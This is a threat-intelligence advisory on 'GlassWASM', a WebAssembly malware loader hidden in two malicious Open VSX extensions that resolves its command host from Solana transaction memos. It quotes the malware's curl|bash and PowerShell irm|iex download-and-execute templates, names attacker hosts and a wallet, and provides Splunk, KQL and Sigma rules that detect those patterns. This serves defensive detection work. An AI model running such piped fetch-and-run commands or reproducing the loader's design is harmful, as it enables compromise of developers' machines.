# GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions Using Solana Blockchain Dead-Drop C2 (GlassWorm Successor)

> GlassWASM is a previously undocumented WebAssembly malware loader distributed via two malicious Open VSX registry extensions (exargd/vsblack@0.0.1 and noellee-doc/flint-debug@0.1.1) targeting VS Code forks. A TinyGo-compiled, ChaCha20-string-encrypted Wasm module resolves command-and-control instructions from Solana mainnet transaction memos and executes fileless OS-specific download-and-execute payloads via Node.js child_process. Assessed with medium confidence as a successor to the GlassWorm campaign.

- **Published:** 2026-06-16T00:00:00Z
- **Last reviewed:** 2026-06-16T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0816
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-glasswasm-open-vsx-loader-tl-2026-0816.webp?v=cf5296c8 (Threadlinqs threat intel: GlassWASM Solana C2 Open VSX Loader: Detection & IOCs (TL-2026-0816) — Critical severity, 30 IOCs, 9 detection rules.)
- **ID:** TL-2026-0816
- **Severity:** CRITICAL
- **Category:** SUPPLY_CHAIN
- **Status:** ACTIVE
- **Actor:** GlassWorm developer
- **Detections:** 9 (1 shown free below) · **IOCs:** 30 (3 shown free below)

## Description

GlassWASM is a WebAssembly-based supply-chain malware loader publicly documented by Socket.dev on 2026-06-15. It marks an evolution of the GlassWorm campaign: where GlassWorm hid obfuscated JavaScript in VS Code extensions, GlassWASM moves its malicious logic into a TinyGo-compiled WebAssembly (js/wasm) module, sidestepping JavaScript-centric scanners and presenting analysts with a 824,552-byte binary containing 478 functions and 45 data segments and no plaintext network indicators.

Delivery is a cross-registry trust-gap supply-chain attack against the Open VSX registry, which is the default extension marketplace for VS Code forks such as VSCodium, Cursor, Windsurf, and Gitpod. The actor operated GitHub account 'zaitoona43' (UID 291961103), created only three days before publication, to impersonate legitimate publishers and ship two trojanized extensions: exargd/vsblack@0.0.1 (published 2026-06-09) and noellee-doc/flint-debug@0.1.1 (published 2026-06-10).

The Wasm module embeds ChaCha20 runtime string encryption: all URLs, wallet addresses, and command templates are stored encrypted and decrypted only at runtime. The ChaCha20 sigma constant 'expand 32-byte k' sits at linear-memory offset 0x10000, and the 32-byte key is filled into BSS at runtime rather than stored statically, defeating static IOC extraction.

For C2, GlassWASM uses a Solana blockchain dead-drop resolver. It queries the public RPC endpoint https://api.mainnet.solana.com with getSignaturesForAddress (limit:50, paginated via 'before') against attacker wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, then fetches transactions with getTransaction (encoding:'jsonParsed') and parses SPL Memo program instructions (MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr v2 and Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM v1). The memo payload uses a numeric-prefix format '[N] payload' (e.g. '[9] dodod.lat'); the loader strips the bracketed prefix and treats the remainder as the active C2 host. Because the wallet is the only fixed point and the operator rotates hosts simply by posting new memos, there is no hardcoded server to seize or sinkhole.

The resolved host is interpolated into OS-specific fileless execution templates run through require('child_process').execSync() with windowsHide:true. Observed templates: macOS 'curl -fsSL https://<host>/darwin/i/_ | bash', Linux 'curl -fsSL https://<host>/linux/i/_ | bash', Windows 'powershell -Command "irm https://<host>/win32/i/_ | iex"'. As of 2026-06-11 the active host was dodod.lat (fronted by Cloudflare), serving second-stage payloads from /darwin/i/_, /linux/i/_, and /win32/i/_.

Attribution to the GlassWorm developer is medium confidence, based on three overlaps: an identical Solana-wallet-memo dead-drop mechanism, runtime-decrypted loaders with zero plaintext IOCs, and abuse of Open VSX via impersonating publisher accounts. The key divergence is the move from obfuscated JavaScript to TinyGo WebAssembly and the shift from prior GlassWorm IP-based infrastructure (45.32.150.251, 217.69.3.152, 45.150.34.158) to a domain-based, OS-segmented URL scheme.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1585 Establish Accounts
- T1587 Develop Capabilities
- T1195 Supply Chain Compromise
- T1199 Trusted Relationship
- T1059 Command and Scripting Interpreter
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1036 Masquerading
- T1564 Hide Artifacts
- T1102 Web Service
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1573 Encrypted Channel
- T1090 Proxy

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**GlassWASM Node-Spawned Hidden Shell Download-and-Execute (curl|bash / irm|iex) — Post-Exploitation** (`TL-2026-0816-SPL-002`)

Detects GlassWASM's fileless execution sink: a Node.js process (the editor extension host) spawning powershell.exe/bash/sh/curl to run a 'curl -fsSL https://<host>/<os>/i/_ | bash' or 'powershell irm <host>/win32/i/_ | iex' download-and-execute template, often with a hidden window (windowsHide:true). Targets the node->shell parent/child relationship plus the distinctive piped-execution command line and OS-segmented /darwin|/linux|/win32/i/_ paths.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1059.001, T1059.004, T1059.007, T1105, T1564.003
- **Data sources:** sysmon, microsoft_defender_for_endpoint, edr_process_telemetry
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval lc_parent=lower(ParentImage), lc_img=lower(Image), lc_cmd=lower(CommandLine)
| where (like(lc_parent,"%\\node.exe") OR like(lc_parent,"%/node")) AND (like(lc_img,"%\\powershell.exe") OR like(lc_img,"%\\pwsh.exe") OR like(lc_img,"%/bash") OR like(lc_img,"%/sh") OR like(lc_img,"%/curl") OR like(lc_img,"%\\curl.exe"))
| where match(lc_cmd, "irm\s") OR like(lc_cmd,"%| iex%") OR like(lc_cmd,"%iex%") OR like(lc_cmd,"%curl -fsssl%") OR like(lc_cmd,"%curl -fssl%") OR like(lc_cmd,"%| bash%") OR like(lc_cmd,"%/win32/i/_%") OR like(lc_cmd,"%/linux/i/_%") OR like(lc_cmd,"%/darwin/i/_%")
| stats count min(_time) as firstSeen by Computer, User, ParentImage, Image, CommandLine
| eval firstSeen=strftime(firstSeen,"%Y-%m-%dT%H:%M:%S")
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where FileName in~ ("powershell.exe", "pwsh.exe", "bash", "sh", "curl", "curl.exe")
| extend cmd = tolower(ProcessCommandLine)
| where cmd matches regex @"irm\s" or cmd has "| iex" or cmd has "iex" or cmd has "curl -fssl" or cmd has "curl -fsssl" or cmd has "| bash" or cmd has "/win32/i/_" or cmd has "/linux/i/_" or cmd has "/darwin/i/_"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| sort by Timestamp desc
```

### Sigma

```yaml
title: GlassWASM Node-Spawned Shell Download-and-Execute
id: 7f1b2c34-0816-4a02-9c12-bb02nodeshell2
status: experimental
description: Detects a Node.js process spawning a shell/curl to perform a piped download-and-execute (curl|bash or irm|iex) against OS-segmented /i/_ paths, matching GlassWASM's fileless loader sink.
references:
    - https://socket.dev/blog/glasswasm-malware-open-vsx-extensions
author: AII-Detector — ThreadLinqs Intelligence
date: 2026/06/16
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1059.004
    - attack.t1059.007
    - attack.command_and_control
    - attack.t1105
    - attack.defense_evasion
    - attack.t1564.003
logsource:
    category: process_creation
detection:
    parent_selection:
        ParentImage|endswith:
            - '\node.exe'
            - '/node'
    child_shell:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
            - '/bash'
            - '/sh'
            - '/curl'
            - '\curl.exe'
    pipe_pattern:
        CommandLine|contains:
            - 'irm '
            - '| iex'
            - 'curl -fsSL'
            - '| bash'
            - '/win32/i/_'
            - '/linux/i/_'
            - '/darwin/i/_'
    condition: parent_selection and child_shell and pipe_pattern
falsepositives:
    - Build tooling or extensions that legitimately fetch and execute scripts via node child_process
level: critical
```

**Known false positives:**

- Developer build scripts or extensions that legitimately invoke node child_process to spawn curl/PowerShell (rare with the irm|iex / curl|bash pipe and /i/_ paths combined)

**Tuning notes:** If node legitimately spawns shells in your build environment, anchor on the piped download-and-execute substrings ('| iex', '| bash', 'irm ', 'curl -fsSL') AND the OS-segmented '/i/_' path to cut noise. Add the hidden-window flag (windowsHide / -WindowStyle Hidden) as a corroborating field where available to raise confidence.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- GlassWASM Trojanized Open VSX Extension Install from Recently-Created Publisher — Exploitation (locked: unlock with TL Creds)
- GlassWASM Hidden-Window PowerShell irm|iex from Node Loader — Post-Exploitation (locked: unlock with TL Creds)
- GlassWASM OS-Segmented Second-Stage Payload Download (/darwin|/linux|/win32/i/_) — C2 (locked: unlock with TL Creds)
- GlassWASM TinyGo js/wasm Loader with ChaCha20 Runtime String Decryption — Exploitation (locked: unlock with TL Creds)
- GlassWASM Unix Shell curl|bash Second-Stage Execution Spawned by Node — Post-Exploitation (locked: unlock with TL Creds)
- GlassWASM Solana SPL-Memo Dead-Drop C2 Channel — C2 (locked: unlock with TL Creds)
- GlassWASM Malicious WebAssembly Loader Dropped into Editor Extension Directory — Exploitation (locked: unlock with TL Creds)
- GlassWASM Solana Blockchain Dead-Drop C2 Resolution from Developer/CI Host — C2 (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 30)

Defanged, TLP:CLEAR.

- IP address: `45.32.150[.]251`
- Domain: `dodod[.]lat`
- URL: `hxxps://api[.]mainnet[.]solana[.]com`

Full set of 30 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [GlassWASM: Malware Hidden in WebAssembly Targets Open VSX Extensions](https://socket.dev/blog/glasswasm-malware-open-vsx-extensions)
- [GlassWorm on macOS: Malicious VS Code Extensions via Solana](https://socprime.com/active-threats/glassworm-analysis/)
- [GlassWorm Returns, Slices Back into VS Code Extensions](https://www.darkreading.com/cyberattacks-data-breaches/glassworm-returns-vs-code-extensions)
- [GlassWorm - Self-Propagating VSCode Extension Worm](https://www.truesec.com/hub/blog/glassworm-self-propagating-vscode-extension)
- [GlassWorm Malware Discovered in Three VS Code Extensions with Thousands of Installs](https://thehackernews.com/2025/11/glassworm-malware-discovered-in-three.html)
- [GlassWorm Returns with 24 Malicious Extensions Impersonating Popular Developer Tools](https://thehackernews.com/2025/12/glassworm-returns-with-24-malicious.html)
- [GlassWorm VS Code Extension Worm Analysis](https://www.veracode.com/blog/glassworm-vs-code-extension/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0816